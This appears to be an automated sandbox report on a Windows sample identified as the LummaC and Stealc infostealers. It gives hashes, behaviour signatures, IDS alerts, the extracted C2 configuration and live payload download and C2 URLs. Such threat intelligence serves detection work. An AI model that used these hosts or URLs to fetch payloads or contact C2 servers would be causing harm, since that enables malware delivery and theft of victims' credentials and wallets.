Edit tour

Windows Analysis Report
hBBxlxfQ3F.exe

Overview

General Information

Sample name:	hBBxlxfQ3F.exe renamed because original name is a hash value
Original sample name:	0cc471c7099d858cc1e17ea0cbb7667a.exe
Analysis ID:	1578990
MD5:	0cc471c7099d858cc1e17ea0cbb7667a
SHA1:	e59170940dd734f2db4b5d10b7df5951aa37d829
SHA256:	67c8aaa4be23aff386d5a5ed1438f1d980db74096d9a1295a55d84f59dfb9377
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

hBBxlxfQ3F.exe (PID: 2000 cmdline: "C:\Users\user\Desktop\hBBxlxfQ3F.exe" MD5: 0CC471C7099D858CC1E17EA0CBB7667A)

CDYE6QFT7BVP6AK0822DTDO89F1Y.exe (PID: 4648 cmdline: "C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe" MD5: ED267F8F886C1D23165754F5C17B852D)

ODUPR5K9IIA1563VE194RM.exe (PID: 6624 cmdline: "C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe" MD5: A0956C9F9C719B85668C6F8B85F89A5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "discokeyus.lat", "aspecteirs.lat", "crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1948043749.0000000000B01000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1907561386.0000000005310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1670110367.0000000001180000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1694671720.0000000001180000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1669751596.000000000117A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hBBxlxfQ3F.exe PID: 2000	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: hBBxlxfQ3F.exe PID: 2000	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hBBxlxfQ3F.exe PID: 2000	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ODUPR5K9IIA1563VE194RM.exe PID: 6624	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ODUPR5K9IIA1563VE194RM.exe PID: 6624	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 10 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:10.746460+0100	2028371	3	Unknown Traffic	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:12.787385+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:20.538172+0100	2028371	3	Unknown Traffic	192.168.2.9	49708	172.67.197.170	443	TCP
2024-12-20T17:29:22.945359+0100	2028371	3	Unknown Traffic	192.168.2.9	49709	172.67.197.170	443	TCP
2024-12-20T17:29:25.890223+0100	2028371	3	Unknown Traffic	192.168.2.9	49713	172.67.197.170	443	TCP
2024-12-20T17:29:28.790308+0100	2028371	3	Unknown Traffic	192.168.2.9	49716	172.67.197.170	443	TCP
2024-12-20T17:29:31.569618+0100	2028371	3	Unknown Traffic	192.168.2.9	49717	172.67.197.170	443	TCP
2024-12-20T17:29:36.259043+0100	2028371	3	Unknown Traffic	192.168.2.9	49718	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:11.510785+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:18.806870+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:37.015146+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49718	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:11.510785+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49706	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:18.806870+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49707	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:10.746460+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:12.787385+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:20.538172+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49708	172.67.197.170	443	TCP
2024-12-20T17:29:22.945359+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49709	172.67.197.170	443	TCP
2024-12-20T17:29:25.890223+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49713	172.67.197.170	443	TCP
2024-12-20T17:29:28.790308+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49716	172.67.197.170	443	TCP
2024-12-20T17:29:31.569618+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49717	172.67.197.170	443	TCP
2024-12-20T17:29:36.259043+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.9	49718	172.67.197.170	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:38.846511+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49719	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:09.367115+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.9	64932	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:09.225783+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.9	54842	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:09.000039+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.9	65131	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:29.573686+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49716	172.67.197.170	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:29:54.803629+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49720	185.215.113.206	80	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: hBBxlxfQ3F.exe, 00000000.00000003.1837793521.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837869857.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838287760.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838804500.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe7
Source: hBBxlxfQ3F.exe, hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838804500.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837959600.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838377857.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe?
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837959600.0000000001143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exePROFILE=C:
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: ODUPR5K9IIA1563VE194RM.exe, 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206j
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745014247.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694671720.0000000001180000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638845881.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: hBBxlxfQ3F.exe, hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1611057335.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1693146822.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1610739182.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/&P
Source: hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001159000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000115B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/.
Source: hBBxlxfQ3F.exe, 00000000.00000003.1609649924.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/0
Source: hBBxlxfQ3F.exe, 00000000.00000003.1585376167.0000000001143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/3Pt
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638116233.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1637748683.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/4Zk4
Source: hBBxlxfQ3F.exe, 00000000.00000003.1710994330.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711131211.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1745243457.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837793521.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1837869857.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/U
Source: hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiMc
Source: hBBxlxfQ3F.exe, 00000000.00000003.1638116233.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1637748683.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiiwEhI
Source: hBBxlxfQ3F.exe, 00000000.00000003.1585489703.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apis2
Source: hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1744945514.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1838287760.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiure
Source: hBBxlxfQ3F.exe, 00000000.00000003.1745206204.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1669682203.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/zl
Source: hBBxlxfQ3F.exe, 00000000.00000003.1694141863.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1711298589.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: hBBxlxfQ3F.exe, 00000000.00000003.1586801154.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586888529.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1586688796.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
